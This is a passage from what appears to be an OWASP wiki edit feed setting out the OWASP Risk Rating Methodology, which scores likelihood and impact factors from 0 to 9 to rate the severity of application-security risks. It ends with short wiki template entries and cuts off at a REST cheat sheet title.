Discovering vulnerabilities is important, but being able to estimate the associated risk to the business is just as important. Early in the life cycle, one may identify security concerns in the architecture or design by using [[threat modeling]].  Later, one may find security issues using [[code review]] or [[penetration testing]].  Or problems may not be discovered until the application is in production and is actually compromised.&lt;br /&gt;
&lt;br /&gt;
By following the approach here, it is possible to estimate the severity of all of these risks to the business and make an informed decision about what to do about those risks. Having a system in place for rating risks will save time and eliminate arguing about priorities. This system will help to ensure that the business doesn't get distracted by minor risks while ignoring more serious risks that are less well understood.&lt;br /&gt;
&lt;br /&gt;
Ideally there would be a universal risk rating system that would accurately estimate all risks for all organizations. But a vulnerability that is critical to one organization may not be very important to another. So a basic framework is presented here that should be ''customized'' for the particular organization.&lt;br /&gt;
&lt;br /&gt;
The authors have tried hard to make this model simple to use, while keeping enough detail for accurate risk estimates to be made. Please reference the section below on customization for more information about tailoring the model for use in a specific organization.&lt;br /&gt;
&lt;br /&gt;
==Approach==&lt;br /&gt;
&lt;br /&gt;
There are many different approaches to risk analysis. See the reference section below for some of the most common ones. The OWASP approach presented here is based on these standard methodologies and is customized for application security.&lt;br /&gt;
&lt;br /&gt;
Let's start with the standard risk model:&lt;br /&gt;
&lt;br /&gt;
       '''Risk = Likelihood * Impact'''&lt;br /&gt;
&lt;br /&gt;
In the sections below the factors that make up &amp;quot;likelihood&amp;quot; and &amp;quot;impact&amp;quot; for application security are broken down. The tester is shown how to combine them to determine the overall severity for the risk.&lt;br /&gt;
&lt;br /&gt;
* [[#Step 1: Identifying a Risk]]&lt;br /&gt;
* [[#Step 2: Factors for Estimating Likelihood]]&lt;br /&gt;
* [[#Step 3: Factors for Estimating Impact]]&lt;br /&gt;
* [[#Step 4: Determining Severity of the Risk]]&lt;br /&gt;
* [[#Step 5: Deciding What to Fix]]&lt;br /&gt;
* [[#Step 6: Customizing Your Risk Rating Model]]&lt;br /&gt;
&lt;br /&gt;
==Step 1: Identifying a Risk==&lt;br /&gt;
&lt;br /&gt;
The first step is to identify a security risk that needs to be rated. The tester needs to gather information about the [[threat agent]] involved, the [[attack]] that will be used, the [[vulnerability]] involved, and the [[impact]] of a successful exploit on the business. There may be multiple possible groups of attackers, or even multiple possible business impacts.  In general, it's best to err on the side of caution by using the worst-case option, as that will result in the highest overall risk.&lt;br /&gt;
&lt;br /&gt;
==Step 2: Factors for Estimating Likelihood==&lt;br /&gt;
&lt;br /&gt;
Once the tester has identified a potential risk and wants to figure out how serious it is, the first step is to estimate the &amp;quot;likelihood&amp;quot;. At the highest level, this is a rough measure of how likely this particular vulnerability is to be uncovered and exploited by an attacker. It is not necessary to be over-precise in this estimate. Generally, identifying whether the likelihood is low, medium, or high is sufficient.&lt;br /&gt;
&lt;br /&gt;
There are a number of factors that can help determine the likelihood. The first set of factors are related to the [[threat agent]] involved. The goal is to estimate the likelihood of a successful attack from a group of possible attackers. Note that there may be multiple threat agents that can exploit a particular vulnerability, so it's usually best to use the worst-case scenario. For example, an insider may be a much more likely attacker than an anonymous outsider, but it depends on a number of factors.&lt;br /&gt;
&lt;br /&gt;
Note that each factor has a set of options, and each option has a likelihood rating from 0 to 9 associated with it. These numbers will be used later to estimate the overall likelihood.&lt;br /&gt;
&lt;br /&gt;
===[[Threat Agent]] Factors===&lt;br /&gt;
&lt;br /&gt;
The first set of factors are related to the [[threat agent]] involved. The goal here is to estimate the likelihood of a successful attack by this group of threat agents. Use the worst-case threat agent.&lt;br /&gt;
&lt;br /&gt;
; Skill level&lt;br /&gt;
: How technically skilled is this group of threat agents? Security penetration skills (9), network and programming skills (6), advanced computer user (4), some technical skills (3), no technical skills (1)&lt;br /&gt;
&lt;br /&gt;
; Motive&lt;br /&gt;
: How motivated is this group of threat agents to find and exploit this vulnerability? Low or no reward (1), possible reward (4), high reward (9)&lt;br /&gt;
&lt;br /&gt;
; Opportunity&lt;br /&gt;
: What resources and opportunities are required for this group of threat agents to find and exploit this vulnerability? Full access or expensive resources required (0), special access or resources required (4), some access or resources required (7), no access or resources required (9)&lt;br /&gt;
&lt;br /&gt;
; Size&lt;br /&gt;
: How large is this group of threat agents? Developers (2), system administrators (2), intranet users (4), partners (5), authenticated users (6), anonymous Internet users (9)&lt;br /&gt;
&lt;br /&gt;
===[[Vulnerability]] Factors===&lt;br /&gt;
&lt;br /&gt;
The next set of factors are related to the [[vulnerability]] involved. The goal here is to estimate the likelihood of the particular vulnerability involved being discovered and exploited. Assume the threat agent selected above.&lt;br /&gt;
&lt;br /&gt;
; Ease of discovery&lt;br /&gt;
: How easy is it for this group of threat agents to discover this vulnerability? Practically impossible (1), difficult (3), easy (7), automated tools available (9)&lt;br /&gt;
&lt;br /&gt;
; Ease of exploit&lt;br /&gt;
: How easy is it for this group of threat agents to actually exploit this vulnerability? Theoretical (1), difficult (3), easy (5), automated tools available (9)&lt;br /&gt;
&lt;br /&gt;
; Awareness&lt;br /&gt;
: How well known is this vulnerability to this group of threat agents? Unknown (1), hidden (4), obvious (6), public knowledge (9)&lt;br /&gt;
&lt;br /&gt;
; Intrusion detection&lt;br /&gt;
: How likely is an exploit to be detected? Active detection in application (1), logged and reviewed (3), logged without review (8), not logged (9)&lt;br /&gt;
&lt;br /&gt;
==Step 3: Factors for Estimating Impact==&lt;br /&gt;
&lt;br /&gt;
When considering the impact of a successful attack, it's important to realize that there are two kinds of impacts. The first is the &amp;quot;technical impact&amp;quot; on the application, the data it uses, and the functions it provides.  The other is the &amp;quot;business impact&amp;quot; on the business and company operating the application.&lt;br /&gt;
&lt;br /&gt;
Ultimately, the business impact is more important. However, you may not have access to all the information required to figure out the business consequences of a successful exploit. In this case, providing as much detail about the technical risk will enable the appropriate business representative to make a decision about the business risk.&lt;br /&gt;
&lt;br /&gt;
Again, each factor has a set of options, and each option has an impact rating from 0 to 9 associated with it. We'll use these numbers later to estimate the overall impact.&lt;br /&gt;
&lt;br /&gt;
===Technical Impact Factors===&lt;br /&gt;
&lt;br /&gt;
Technical impact can be broken down into factors aligned with the traditional security areas of concern: confidentiality, integrity, availability, and accountability. The goal is to estimate the magnitude of the impact on the system if the vulnerability were to be exploited.&lt;br /&gt;
&lt;br /&gt;
; Loss of confidentiality&lt;br /&gt;
: How much data could be disclosed and how sensitive is it? Minimal non-sensitive data disclosed (2), minimal critical data disclosed (6), extensive non-sensitive data disclosed (6), extensive critical data disclosed (7), all data disclosed (9)&lt;br /&gt;
&lt;br /&gt;
; Loss of integrity&lt;br /&gt;
: How much data could be corrupted and how damaged is it? Minimal slightly corrupt data (1), minimal seriously corrupt data (3), extensive slightly corrupt data (5), extensive seriously corrupt data (7), all data totally corrupt (9)&lt;br /&gt;
&lt;br /&gt;
; Loss of availability&lt;br /&gt;
: How much service could be lost and how vital is it? Minimal secondary services interrupted (1), minimal primary services interrupted (5), extensive secondary services interrupted (5), extensive primary services interrupted (7), all services completely lost (9)&lt;br /&gt;
&lt;br /&gt;
; Loss of accountability&lt;br /&gt;
: Are the threat agents' actions traceable to an individual? Fully traceable (1), possibly traceable (7), completely anonymous (9)&lt;br /&gt;
&lt;br /&gt;
===Business Impact Factors===&lt;br /&gt;
&lt;br /&gt;
The business impact stems from the technical impact, but requires a deep understanding of what is important to the company running the application. In general, you should be aiming to support your risks with business impact, particularly if your audience is executive level. The business risk is what justifies investment in fixing security problems.&lt;br /&gt;
&lt;br /&gt;
Many companies have an asset classification guide and/or a business impact reference to help formalize what is important to their business. These standards can help you focus on what's truly important for security. If these aren't available, then it is necessary to talk with people who understand the business to get their take on what's important.&lt;br /&gt;
&lt;br /&gt;
The factors below are common areas for many businesses, but this area is even more unique to a company than the factors related to threat agent, vulnerability, and technical impact.&lt;br /&gt;
&lt;br /&gt;
; Financial damage&lt;br /&gt;
: How much financial damage will result from an exploit? Less than the cost to fix the vulnerability (1), minor effect on annual profit (3), significant effect on annual profit (7), bankruptcy (9)&lt;br /&gt;
&lt;br /&gt;
; Reputation damage&lt;br /&gt;
: Would an exploit result in reputation damage that would harm the business? Minimal damage (1), Loss of major accounts (4), loss of goodwill (5), brand damage (9)&lt;br /&gt;
&lt;br /&gt;
; Non-compliance&lt;br /&gt;
: How much exposure does non-compliance introduce? Minor violation (2), clear violation (5), high profile violation (7)&lt;br /&gt;
&lt;br /&gt;
; Privacy violation&lt;br /&gt;
: How much personally identifiable information could be disclosed? One individual (3), hundreds of people (5), thousands of people (7), millions of people (9)&lt;br /&gt;
&lt;br /&gt;
==Step 4: Determining the Severity of the Risk== &lt;br /&gt;
&lt;br /&gt;
In this step the likelihood estimate and the impact estimate are put together to calculate an overall severity for this risk.  This is done by figuring out whether the likelihood is low, medium, or high and then do the same for impact. The 0 to 9 scale is split into three parts:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;table border=&amp;quot;1&amp;quot; cellpadding=&amp;quot;5&amp;quot; cellspacing=&amp;quot;0&amp;quot; width=&amp;quot;40%&amp;quot; align=&amp;quot;center&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;th align=&amp;quot;center&amp;quot; colspan=&amp;quot;2&amp;quot;&amp;gt;Likelihood and Impact Levels&amp;lt;/th&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td align=&amp;quot;center&amp;quot; width=&amp;quot;50%&amp;quot;&amp;gt;0 to &amp;amp;lt;3&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td align=&amp;quot;center&amp;quot; width=&amp;quot;50%&amp;quot; bgcolor=&amp;quot;lightgreen&amp;quot;&amp;gt;LOW&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td align=&amp;quot;center&amp;quot;&amp;gt;3 to &amp;amp;lt;6&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td align=&amp;quot;center&amp;quot; bgcolor=&amp;quot;yellow&amp;quot;&amp;gt;MEDIUM&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td align=&amp;quot;center&amp;quot;&amp;gt;6 to 9&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td align=&amp;quot;center&amp;quot; bgcolor=&amp;quot;red&amp;quot;&amp;gt;HIGH&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;/table&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Informal Method===&lt;br /&gt;
&lt;br /&gt;
In many environments, there is nothing wrong with reviewing the factors and simply capturing the answers. The tester should think through the factors and identify the key &amp;quot;driving&amp;quot; factors that are controlling the result. The tester may discover that their initial impression was wrong by considering aspects of the risk that weren't obvious.&lt;br /&gt;
&lt;br /&gt;
===Repeatable Method===&lt;br /&gt;
&lt;br /&gt;
If it is necessary to defend the ratings or make them repeatable, then it is necessary to go through a more formal process of rating the factors and calculating the result. Remember that there is quite a lot of uncertainty in these estimates and that these factors are intended to help the tester arrive at a sensible result. This process can be supported by automated tools to make the calculation easier. &lt;br /&gt;
&lt;br /&gt;
The first step is to select one of the options associated with each factor and enter the associated number in the table. Then simply take the average of the scores to calculate the overall likelihood. For example:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;table border=&amp;quot;1&amp;quot; cellpadding=&amp;quot;5&amp;quot; cellspacing=&amp;quot;0&amp;quot; align=&amp;quot;center&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td colspan=&amp;quot;4&amp;quot; align=&amp;quot;center&amp;quot;&amp;gt;'''Threat agent factors'''&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td colspan=&amp;quot;4&amp;quot; align=&amp;quot;center&amp;quot;&amp;gt;'''Vulnerability factors'''&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td align=&amp;quot;center&amp;quot; width=&amp;quot;10%&amp;quot;&amp;gt;Skill level&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td align=&amp;quot;center&amp;quot; width=&amp;quot;10%&amp;quot;&amp;gt;Motive&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td align=&amp;quot;center&amp;quot; width=&amp;quot;10%&amp;quot;&amp;gt;Opportunity&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td align=&amp;quot;center&amp;quot; width=&amp;quot;10%&amp;quot;&amp;gt;Size&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td align=&amp;quot;center&amp;quot; width=&amp;quot;2%&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td align=&amp;quot;center&amp;quot; width=&amp;quot;10%&amp;quot;&amp;gt;Ease of discovery&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td align=&amp;quot;center&amp;quot; width=&amp;quot;10%&amp;quot;&amp;gt;Ease of exploit&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td align=&amp;quot;center&amp;quot; width=&amp;quot;10%&amp;quot;&amp;gt;Awareness&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td align=&amp;quot;center&amp;quot; width=&amp;quot;10%&amp;quot;&amp;gt;Intrusion detection&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td align=&amp;quot;center&amp;quot;&amp;gt;5&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td align=&amp;quot;center&amp;quot;&amp;gt;2&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td align=&amp;quot;center&amp;quot;&amp;gt;7&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td align=&amp;quot;center&amp;quot;&amp;gt;1&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td align=&amp;quot;center&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td align=&amp;quot;center&amp;quot;&amp;gt;3&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td align=&amp;quot;center&amp;quot;&amp;gt;6&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td align=&amp;quot;center&amp;quot;&amp;gt;9&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td align=&amp;quot;center&amp;quot;&amp;gt;2&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td colspan=&amp;quot;9&amp;quot; align=&amp;quot;center&amp;quot; bgcolor=&amp;quot;lightblue&amp;quot;&amp;gt;Overall likelihood=4.375 (MEDIUM)&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;/table&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Next, the tester needs to figure out the overall impact. The process is similar here. In many cases the answer will be obvious, but the tester can make an estimate based on the factors, or they can average the scores for each of the factors. Again, less than 3 is low, 3 to less than 6 is medium, and 6 to 9 is high.  For example:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;table border=&amp;quot;1&amp;quot; cellpadding=&amp;quot;5&amp;quot; cellspacing=&amp;quot;0&amp;quot; align=&amp;quot;center&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;th colspan=&amp;quot;4&amp;quot; align=&amp;quot;center&amp;quot;&amp;gt;Technical Impact&amp;lt;/th&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;th colspan=&amp;quot;4&amp;quot; align=&amp;quot;center&amp;quot;&amp;gt;Business Impact&amp;lt;/th&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td align=&amp;quot;center&amp;quot; width=&amp;quot;10%&amp;quot;&amp;gt;Loss of confidentiality&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td align=&amp;quot;center&amp;quot; width=&amp;quot;10%&amp;quot;&amp;gt;Loss of integrity&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td align=&amp;quot;center&amp;quot; width=&amp;quot;10%&amp;quot;&amp;gt;Loss of availability&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td align=&amp;quot;center&amp;quot; width=&amp;quot;10%&amp;quot;&amp;gt;Loss of accountability&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td align=&amp;quot;center&amp;quot; width=&amp;quot;2%&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td align=&amp;quot;center&amp;quot; width=&amp;quot;10%&amp;quot;&amp;gt;Financial damage&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td align=&amp;quot;center&amp;quot; width=&amp;quot;10%&amp;quot;&amp;gt;Reputation damage&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td align=&amp;quot;center&amp;quot; width=&amp;quot;10%&amp;quot;&amp;gt;Non-compliance&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td align=&amp;quot;center&amp;quot; width=&amp;quot;10%&amp;quot;&amp;gt;Privacy violation&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td align=&amp;quot;center&amp;quot;&amp;gt;9&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td align=&amp;quot;center&amp;quot;&amp;gt;7&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td align=&amp;quot;center&amp;quot;&amp;gt;5&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td align=&amp;quot;center&amp;quot;&amp;gt;8&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td align=&amp;quot;center&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td align=&amp;quot;center&amp;quot;&amp;gt;1&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td align=&amp;quot;center&amp;quot;&amp;gt;2&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td align=&amp;quot;center&amp;quot;&amp;gt;1&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td align=&amp;quot;center&amp;quot;&amp;gt;5&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td colspan=&amp;quot;4&amp;quot; align=&amp;quot;center&amp;quot; bgcolor=&amp;quot;lightblue&amp;quot;&amp;gt;Overall technical impact=7.25 (HIGH)&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td colspan=&amp;quot;4&amp;quot; align=&amp;quot;center&amp;quot; bgcolor=&amp;quot;lightblue&amp;quot;&amp;gt;Overall business impact=2.25 (LOW)&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;/table&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Determining Severity===&lt;br /&gt;
&lt;br /&gt;
However the tester arrives at the likelihood and impact estimates, they can now combine them to get a final severity rating for this risk. Note that if they have good business impact information, they should use that instead of the technical impact information.  But if they have no information about the business, then technical impact is the next best thing.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;table border=&amp;quot;1&amp;quot; cellpadding=&amp;quot;5&amp;quot; cellspacing=&amp;quot;0&amp;quot; align=&amp;quot;center&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;th align=&amp;quot;center&amp;quot; colspan=&amp;quot;5&amp;quot;&amp;gt;Overall Risk Severity&amp;lt;/th&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;th align=&amp;quot;center&amp;quot; width=&amp;quot;15%&amp;quot; rowspan=&amp;quot;4&amp;quot;&amp;gt;Impact&amp;lt;/th&amp;gt;&lt;br /&gt;
&amp;lt;td align=&amp;quot;center&amp;quot; width=&amp;quot;15%&amp;quot;&amp;gt;HIGH&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td align=&amp;quot;center&amp;quot; width=&amp;quot;15%&amp;quot; bgcolor=&amp;quot;orange&amp;quot;&amp;gt;Medium&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td align=&amp;quot;center&amp;quot; width=&amp;quot;15%&amp;quot; bgcolor=&amp;quot;red&amp;quot;&amp;gt;High&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td align=&amp;quot;center&amp;quot; width=&amp;quot;15%&amp;quot; bgcolor=&amp;quot;pink&amp;quot;&amp;gt;Critical&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td align=&amp;quot;center&amp;quot;&amp;gt;MEDIUM&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td align=&amp;quot;center&amp;quot; bgcolor=&amp;quot;yellow&amp;quot;&amp;gt;Low&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td align=&amp;quot;center&amp;quot; bgcolor=&amp;quot;orange&amp;quot;&amp;gt;Medium&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td align=&amp;quot;center&amp;quot; bgcolor=&amp;quot;red&amp;quot;&amp;gt;High&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td align=&amp;quot;center&amp;quot;&amp;gt;LOW&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td align=&amp;quot;center&amp;quot; bgcolor=&amp;quot;lightgreen&amp;quot;&amp;gt;Note&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td align=&amp;quot;center&amp;quot; bgcolor=&amp;quot;yellow&amp;quot;&amp;gt;Low&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td align=&amp;quot;center&amp;quot; bgcolor=&amp;quot;orange&amp;quot;&amp;gt;Medium&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td align=&amp;quot;center&amp;quot;&amp;gt;&amp;amp;nbsp;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td align=&amp;quot;center&amp;quot;&amp;gt;LOW&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td align=&amp;quot;center&amp;quot;&amp;gt;MEDIUM&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td align=&amp;quot;center&amp;quot;&amp;gt;HIGH&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td align=&amp;quot;center&amp;quot;&amp;gt;&amp;amp;nbsp;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;th align=&amp;quot;center&amp;quot; colspan=&amp;quot;4&amp;quot;&amp;gt;Likelihood&amp;lt;/th&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;/table&amp;gt;&lt;br /&gt;
&lt;br /&gt;
In the example above, the likelihood is medium and the technical impact is high, so from a purely technical perspective it appears that the overall severity is high.  However, note that the business impact is actually low, so the overall severity is best described as low as well. This is why understanding the business context of the vulnerabilities you are evaluating is so critical to making good risk decisions. Failure to understand this context can lead to the lack of trust between the business and security teams that is present in many organizations.&lt;br /&gt;
&lt;br /&gt;
==Step 5: Deciding What to Fix==&lt;br /&gt;
&lt;br /&gt;
After the risks to the application have been classified there will be a prioritized list of what to fix. As a general rule, the most severe risks should be fixed first. It simply doesn't help the overall risk profile to fix less important risks, even if they're easy or cheap to fix.&lt;br /&gt;
&lt;br /&gt;
Remember that not all risks are worth fixing, and some loss is not only expected, but justifiable based upon the cost of fixing the issue. For example, if it would cost $100,000 to implement controls to stem $2,000 of fraud per year, it would take 50 years return on investment to stamp out the loss. But remember there may be reputation damage from the fraud that could cost the organization much more.&lt;br /&gt;
&lt;br /&gt;
==Step 6: Customizing the Risk Rating Model==&lt;br /&gt;
&lt;br /&gt;
Having a risk ranking framework that is customizable for a business is critical for adoption.  A tailored model is much more likely to produce results that match people's perceptions about what is a serious risk. A lot of time can be wasted arguing about the risk ratings if they are not supported by a model like this. There are several ways to tailor this model for the organization.&lt;br /&gt;
&lt;br /&gt;
===Adding factors===&lt;br /&gt;
&lt;br /&gt;
The tester can choose different factors that better represent what's important for the specific organization. For example, a military application might add impact factors related to loss of human life or classified information. The tester might also add likelihood factors, such as the window of opportunity for an attacker or encryption algorithm strength.&lt;br /&gt;
&lt;br /&gt;
===Customizing options===&lt;br /&gt;
&lt;br /&gt;
There are some sample options associated with each factor, but the model will be much more effective if the tester customizes these options to the business. For example, use the names of the different teams and the company names for different classifications of information. The tester can also change the scores associated with the options. The best way to identify the right scores is to compare the ratings produced by the model with ratings produced by a team of experts. You can tune the model by carefully adjusting the scores to match.&lt;br /&gt;
&lt;br /&gt;
===Weighting factors===&lt;br /&gt;
&lt;br /&gt;
The model above assumes that all the factors are equally important. You can weight the factors to emphasize the factors that are more significant for the specific business. This makes the model a bit more complex, as the tester needs to use a weighted average. But otherwise everything works the same. Again it is possible to tune the model by matching it against risk ratings the business agrees are accurate.&lt;br /&gt;
&lt;br /&gt;
==References==&lt;br /&gt;
&lt;br /&gt;
* Managing Information Security Risk: Organization, Mission, and Information System View [http://csrc.nist.gov/publications/nistpubs/800-39/SP800-39-final.pdf]&lt;br /&gt;
* Industry standard vulnerability severity and risk rankings (CVSS) [http://www.first.org/cvss/]&lt;br /&gt;
* Security-enhancing process models (CLASP) [http://www.owasp.org/index.php/Category:OWASP_CLASP_Project]&lt;br /&gt;
* Cheat Sheet: Web Application Security Frame - MSDN - Microsoft [http://msdn.microsoft.com/en-us/library/ff649461.aspx]&lt;br /&gt;
* [[Threat_Risk_Modeling|Threat Risk Modeling]]&lt;br /&gt;
* Pratical Threat Analysis [http://www.ptatechnologies.com/]&lt;br /&gt;
* Application Security Risk Assessment Guidelines [http://kb.wisc.edu/page.php?id=20262]&lt;br /&gt;
* A Platform for Risk Analysis of Security Critical Systems [http://sourceforge.net/projects/coras/]&lt;br /&gt;
* Model-driven Development and Analysis of Secure Information Systems [http://heim.ifi.uio.no/~ketils/securis/]&lt;br /&gt;
* Value Driven Security Threat Modeling Based on Attack Path Analysis [http://origin-www.computer.org/csdl/proceedings/hicss/2007/2755/00/27550280a.pdf]&lt;/div&gt;</summary>
		<author><name>Christina Schelin</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Template:OWASP_Testing_Guide_v4&amp;diff=182590</id>
		<title>Template:OWASP Testing Guide v4</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Template:OWASP_Testing_Guide_v4&amp;diff=182590"/>
				<updated>2014-09-19T20:11:57Z</updated>
		
		<summary type="html">&lt;p&gt;Christina Schelin: HTTPS.&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;br /&gt;
 &amp;lt;b&amp;gt;This article is part of the new OWASP Testing Guide v4.&amp;lt;/b&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
 Back to the OWASP Testing Guide v4 ToC:&lt;br /&gt;
    https://www.owasp.org/index.php/OWASP_Testing_Guide_v4_Table_of_Contents&lt;br /&gt;
 Back to the OWASP Testing Guide Project:&lt;br /&gt;
    https://www.owasp.org/index.php/OWASP_Testing_Project&lt;br /&gt;
&lt;br /&gt;
__TOC__&lt;br /&gt;
[[Category:OWASP Testing Project]]&lt;br /&gt;
[[Category:Test]]&lt;/div&gt;</summary>
		<author><name>Christina Schelin</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Template:Vulnerability&amp;diff=182226</id>
		<title>Template:Vulnerability</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Template:Vulnerability&amp;diff=182226"/>
				<updated>2014-09-12T15:14:44Z</updated>
		
		<summary type="html">&lt;p&gt;Christina Schelin: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;''This is a '''Vulnerability'''. To view all vulnerabilities, please see the [[:Category:Vulnerability|Vulnerability Category]] page.''&lt;br /&gt;
[[Category:OWASP ASDR Project]]&lt;br /&gt;
[[Category:Vulnerability]]&lt;br /&gt;
__NOTOC__&lt;/div&gt;</summary>
		<author><name>Christina Schelin</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=REST_Security_Cheat_Sheet&amp;diff=181707</id>
		<title>REST Security Cheat Sheet</title>
